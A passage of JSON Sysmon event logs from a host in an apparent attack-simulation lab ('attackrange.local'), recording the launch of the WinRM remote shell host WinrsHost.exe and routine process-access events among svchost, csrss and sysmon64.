C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2326,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.604\r\nProcessGuid: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nProcessId: 3880\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-3FF3-5F2D-0000-00206C9B0300}\r\nLogonId: 0x39B6C\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.604","ProcessGuid":"{90617006-3FFC-5F2D-0000-00102ACD0300}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-3FF3-5F2D-0000-00206C9B0300}","LogonId":"0x39b6c","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2327,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nTargetProcessId: 3880\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-00102ACD0300}","TargetProcessId":"3880","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2328,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FFC-5F2D-0000-00102ACD0300}\r\nTargetProcessId: 3880\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FFC-5F2D-0000-00102ACD0300}","TargetProcessId":"3880","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2329,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2330,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2331,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2332,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2333,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.593","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.593\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed 